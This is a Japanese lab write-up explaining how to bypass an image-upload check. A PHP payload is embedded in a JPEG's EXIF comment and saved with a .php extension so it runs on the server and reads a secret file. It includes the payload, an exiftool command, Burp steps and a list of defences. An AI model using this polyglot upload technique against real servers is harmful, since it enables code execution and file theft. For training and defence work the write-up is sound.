Hello there, ('ω')ノ
ねらい
このLABは、ファイルアップロード機能が「見た目は正しい画像」であることだけを確認しており、サーバ側では拡張子 .php をコードとして解釈してしまう、という検証と実行の不整合を突きます。
画像にPHPコードをEXIFコメントとして埋め込むと、ファイルは「画像としても正当」かつ「PHPとしても実行可能」というポリグロット(多言語)ファイルになります。
全体像(まずはストーリー)
- ログイン(wiener:peter)。
- ふつうの
exploit.phpをアバターとして上げてブロックされることを確認。 - 画像にPHPをEXIFコメントとして埋め込み、出力ファイル名を
.phpにしたポリグロットJPEGを作成。 - それをアップロード → マイアカウントでアバター取得のGET /files/avatars/polyglot.phpが走る。
- レスポンスのバイナリの中に
START ... ENDというシークレットの出力が混ざる。 - 抜き出して提出してクリア。
実践:一手ずつ「なぜそうするか」を添えて
1) ログインする
- 操作:wiener / peter でログイン。
- なぜ:まずは通常利用者として最短の攻撃面(アバターアップロード)へ辿り着くため。
2) 単純なPHPファイルでアップロードが拒否されることを確認
- 操作:ローカルに
exploit.phpを作成:
<?php echo file_get_contents('/home/carlos/secret'); ?>
これをアバターとしてアップロード。
観察:サーバが「画像ではない」として拒否。
なぜ:まず現状の防御レベルを把握し、どの検査(拡張子?MIME?魔法バイト?内容解析?)が働いているかの手がかりを得る。ここでは「中身を見て画像判定」をしていそう。
3) 画像+PHPの「ポリグロット」を作る(EXIFコメントにPHP)
- 発想:アップローダは中身が画像っぽいかを見ている。一方、Webサーバは拡張子 .php をPHPとして実行する。 → ならばJPEGとして正当かつPHPとしても有効なファイルを作れば両方を同時に満たせる。
操作(ExifToolを使用):
- 任意のJPEGを1枚用意(
input.jpgなど)。 ターミナルで以下を実行してEXIFのコメントにPHPペイロードを埋め込む:
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" input.jpg -o polyglot.php※ 出力ファイル名は.phpにするのがポイント。
- 任意のJPEGを1枚用意(
- 期待:
polyglot.phpは JPEGファイルとしても開けるし、拡張子の都合でPHPとしても実行される。 - 確認(任意):
file polyglot.php # => JPEG image data と出ればOK
exiftool polyglot.php # => Comment に PHP が入っていること
4) ポリグロットをアップロードする
- 操作:アバターに
polyglot.phpをアップロード。 - なぜ:アップローダは中身が正当なJPEGなので通す。一方で保存先は
/files/avatars/polyglot.phpのような実行対象パスになる。
5) 実行結果(シークレット)をBurpで抜き出す
操作:
- アップ後に「My account」を開く(アバター画像を表示させる)。
- Burp の「Proxy > HTTP history」で GET /files/avatars/polyglot.php を探す。
- レスポンスを開き、エディタの検索で START を検索。
- 観察:レスポンスはほぼJPEGのバイナリだが、EXIFコメントの位置でPHPが実行され、
START ... ENDが文字列として混入している。 例:START 2B2tlPyJQfJDynyKME5D02Cw0ouydMpZ END - なぜ:PHPは
<?php ... ?>の外側をそのまま出力する性質があるため、JPEGバイナリ(生データ)も返される。その途中にechoした文字列が紛れ込む。
6) シークレットを提出
- 操作:
STARTとENDに挟まれた値だけを抜き出して、LABバナーのフォームに貼り付けて送信。 - なぜ:これが
/home/carlos/secretの中身。提出すればクリア。
どうして成立するのか(思考の軸)
- 検証(Validation)と実行(Execution)の責務分離の失敗 アップロード時は「画像として正当」かを見てOKにする一方、配信時は拡張子ベースでPHPが実行される。両者の基準が一致していない。
- ポリグロットの特性 JPEGはメタデータ(EXIFコメント)に任意文字列を格納できる。ここにPHPタグを埋め込むと、ファイル全体としてJPEGとしても妥当、かつPHPとしても妥当になる。
- PHPの出力モデル PHPはタグ外のバイト列をそのまま出力し、タグ内だけを実行する。結果、レスポンスは「バイナリ+実行結果」の混在になる。
つまずきポイント&対処
アップロードで弾かれる
- 入力画像が破損している/ExifToolが生成に失敗 → 別のJPEGで再生成。
- コメント中のクォートのエスケープ誤り → コマンドをそのままコピペ推奨。シェルが違う場合は
"等を調整。
レスポンスに START が見つからない
- 「My account」を再読み込みしてアバターのリクエストを確実に発生させる。
- Burp で該当GETを選び、エディタのSearch(バイナリ検索)を使う。
文字化けして読めない
- Burp の「Render」ではなくRawで見て検索。
- どうしても探しづらければ「Save response」してバイナリエディタで
STARTを検索。
実務目線の防御策
- アップロードは常に非実行ディレクトリに保存(例:オブジェクトストレージ、または
uploads/をWebルート外に置き、アプリから別ドメインで配信)。 - 拡張子・MIME・魔法バイトの三点検査をサーバ側で実施し、拡張子は強制的に付け替え(例:.jpg固定)。
- サーバ側で画像の再エンコード(Imagick/GDで読み込んで新規に再保存)し、EXIFをすべて剥ぐ。
- Content-Disposition/Typeを固定し、実行可能MIMEで配信しない。
- .php等のスクリプト拡張子を完全拒否、かつWebサーバ設定でuploads配下のスクリプト実行無効化。
コマンド&ペイロードまとめ(コピペ用)
<?php echo file_get_contents('/home/carlos/secret'); ?>
# ポリグロット作成(input.jpg は任意のJPEG)
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" input.jpg -o polyglot.php
- 取得後は Burp で GET /files/avatars/polyglot.php のレスポンスから START と END に挟まれた部分だけを抜き出して提出。
まとめ
このLABの肝は、「アップロード時の画像判定」と「配信時のPHP実行」という二つの処理の不整合を、ポリグロットJPEG(EXIFにPHP)で橋渡しする点にあります。 手順としては、通常のPHPが弾かれることを確認 → EXIFコメントにPHPを入れて.php拡張子の画像を生成 → アップロード → アバター取得のレスポンスから混ざり込んだシークレットを抜き出す、という流れ。
Best regards, (^^ゞ